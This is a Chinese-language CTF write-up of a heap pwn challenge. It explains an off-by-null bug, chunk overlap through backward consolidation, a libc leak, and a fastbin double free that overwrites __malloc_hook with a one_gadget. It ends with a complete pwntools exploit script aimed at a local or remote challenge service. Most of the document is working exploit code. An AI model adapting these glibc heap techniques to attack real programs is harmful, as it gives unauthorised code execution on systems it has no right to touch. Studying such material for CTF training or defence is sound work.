程序分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| def add(size,content): rl("> ") sl('1') rl('size') sl(str(size)) rl("content:") sl(content) def delete(index): rl("> ") sl('2') rl("index:") sl(str(index))
def show(index): rl("> ") sl('3') rl("index:") sl(str(index)) def edit(addr,num): rl("> ") sl('4') rl("addr:") sl(str(addr)) rl("num:") sl(str(num))
|
漏洞点
漏洞点在add函数中,会发生一次off-by-null溢出。
攻击思路
首先创建四个堆块,最后一个堆块是为了防止和top_chunk合并。前三个堆块是用来构造合并的
1 2 3 4
| add(0x100,'aaaa') add(0x68,'aaaa') add(0x110,p64(0)*31+p64(0x21)) add(0x10,'aaaa')
|
如果要利用off-by-null,那么就需要申请一个超过0x100大小的chunk,chunk3就是被溢出修改的堆块。我们的目的是利用chunk2的off-by-null来修改chunk3的pre_size和size。主要是size中的inuse位,被覆盖后变为0,那么就表示前一个堆块被free过了。当释放chunk3时,会根据pre_size向前合并。chunk3中的0x21内容是为了绕过检测,释放chunk3时会根据size向后判断根据后一个chunk的inuse位进行判断
因为程序没有修改堆块内容的功能,所以我们需要释放掉chunk1和chunk2。释放chunk1是为了chunk3的向前合并,释放chunk2是为了再次申请出来利用off-by-null。
申请出chunk2
1
| add(0x68,'a'*0x60+p64(0x180))
|
chunk3的pre_size大小需要为chunk1和chunk2的size相加,并且chunk1必须大于fastbins,因为fastbins被free掉,下一个chunk的inuse不会变为0,因为fastbins不会发生合并。
然后释放chunk3,发生先前合并。
此时chunk1+chunk2+chun3合并为一个大chunk并处于unsortedbins中,其中chunk1和chun3是free状态,chunk2是malloc状态。
分配合适的size,控制unsortedbins的fd和bk到chunk2的fd处,利用show打印chunk2即可泄露libc
1 2 3 4 5 6 7 8 9
| add(0x100,'aaa') show(0)
libc_leak = l64() libc_base = libc_leak-0x3c4b78 lg("libc_base",libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook'] onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
|
接下来的目的就是利用释放掉chunk2,然后修改chunk2的fd指针指向__malloc_hook
区域,之后再多次申请即可得到得到__malloc_hook
区域并修改。
1 2
| add(0x60,'aaa') add(0x60,'aaa')
|
但是此时由于chunk2的size大小为0x171,不能直接free掉,所以需要再次malloc两个0x60大小的chunk,会再次分配一次chunk3这个堆块,此时堆管理器中有三个0x70大小的chunk,其中两个是chunk3的指针,接着利用double_free。
1 2 3
| delete(0) delete(4) delete(2)
|
然后再次申请修改chunk的fd指向__malloc_hook
区域,最后再次申请三次即可
1 2 3 4
| add(0x60,p64(malloc_hook-0x23)) add(0x60,'aaa') add(0x60,'aaa') add(0x60,'a'*0x13+p64(libc_base+onegadget[3]))
|
但是程序中add功能有一个函数会用来判断这个值,如果不为0,就无法执行malloc。
需要用到scanf传入一个超大数,就会导致多次malloc的知识,这个检测判断只能判断一次,多次malloc即可绕过
1 2
| rl("> ") sl('1'*0x10001)
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.anna.nssctf.cn', 28691) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') def add(size,content): rl("> ") sl('1') rl('size') sl(str(size)) rl("content:") sl(content) def delete(index): rl("> ") sl('2') rl("index:") sl(str(index))
def show(index): rl("> ") sl('3') rl("index:") sl(str(index)) def edit(addr,num): rl("> ") sl('4') rl("addr:") sl(str(addr)) rl("num:") sl(str(num))
gdb.attach(p) add(0x100,'aaaa') add(0x68,'aaaa') add(0x110,p64(0)*31+p64(0x21)) add(0x10,'aaaa')
pause() delete(0) delete(1)
pause() add(0x68,'a'*0x60+p64(0x180))
pause() delete(2)
pause() add(0x100,'aaa') show(0)
libc_leak = l64() libc_base = libc_leak-0x3c4b78 lg("libc_base",libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook'] onegadget = [0x45216,0x4526a,0xf02a4,0xf1147]
pause() add(0x60,'aaa') add(0x60,'aaa')
pause() delete(0) delete(4) delete(2)
pause() add(0x60,p64(malloc_hook-0x23)) add(0x60,'aaa') add(0x60,'aaa') add(0x60,'a'*0x13+p64(libc_base+onegadget[3]))
pause() rl("> ") sl('1'*0x10001)
inter()
|